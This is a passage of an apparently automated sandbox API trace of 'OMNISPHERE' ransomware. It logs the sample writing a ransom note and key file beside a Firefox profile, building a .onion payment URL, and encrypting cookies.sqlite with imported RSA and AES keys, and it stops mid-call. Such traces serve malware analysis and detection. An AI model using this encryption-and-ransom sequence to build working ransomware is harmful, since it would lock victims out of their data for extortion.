WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0156.685] GetProcessHeap () returned 0x1600000 [0156.685] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734030 [0156.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734030, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0156.686] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0156.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0156.686] GetProcessHeap () returned 0x1600000 [0156.686] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726bf8 [0156.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0156.686] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0156.686] GetProcessHeap () returned 0x1600000 [0156.686] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1734970 [0156.686] PathCombineW (in: pszDest=0x1734970, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0156.686] GetProcessHeap () returned 0x1600000 [0156.686] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1734bd8 [0156.686] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0156.687] WriteFile (in: hFile=0x288, lpBuffer=0x1734bd8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1734bd8*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0156.687] CloseHandle (hObject=0x288) returned 1 [0156.687] GetProcessHeap () returned 0x1600000 [0156.687] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1744bb0 | out: hHeap=0x1600000) returned 1 [0156.687] GetProcessHeap () returned 0x1600000 [0156.687] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162bea8 [0156.687] PathCombineW (in: pszDest=0x162bea8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0156.687] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0156.688] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0156.688] CloseHandle (hObject=0x288) returned 1 [0156.688] GetProcessHeap () returned 0x1600000 [0156.688] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bea8 | out: hHeap=0x1600000) returned 1 [0156.688] GetProcessHeap () returned 0x1600000 [0156.688] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625bd8 | out: hHeap=0x1600000) returned 1 [0156.688] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef1bce, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1ef1bce, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="cookies.sqlite", cAlternateFileName="COOKIE~1.SQL")) returned 1 [0156.688] GetProcessHeap () returned 0x1600000 [0156.688] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc0) returned 0x16415f0 [0156.688] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" [0156.688] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite") returned 0x0 [0156.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0156.690] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=524288) returned 1 [0156.690] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x7fadc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0156.690] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0156.691] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80000, lpName=0x0) returned 0x3c0 [0156.691] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3c00000 [0156.691] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0156.691] CloseHandle (hObject=0x3c0) returned 1 [0156.691] GetTickCount () returned 0x1166f0d [0156.691] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.692] GetTickCount () returned 0x1166f0d [0156.693] GetTickCount () returned 0x1166f0d [0156.693] GetTickCount () returned 0x1166f0d [0156.693] GetTickCount () returned 0x1166f0d [0156.693] GetTickCount () returned 0x1166f0d [0156.693] GetTickCount () returned 0x1166f0d [0156.693] GetTickCount () returned 0x1166f0d [0156.693] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668ac0) returned 1 [0156.693] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0156.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0156.694] CryptDestroyKey (hKey=0x1639b28) returned 1 [0156.694] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0156.694] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80000, lpName=0x0) returned 0x3c0 [0156.694] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80000) returned 0x3c00000 [0156.702] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1669120) returned 1 [0156.703] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16396a8) returned 1 [0156.703] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0156.703] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0156.703] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.703] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.703] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.703] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.703] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.704] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.705] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.706] CryptEncrypt (in: 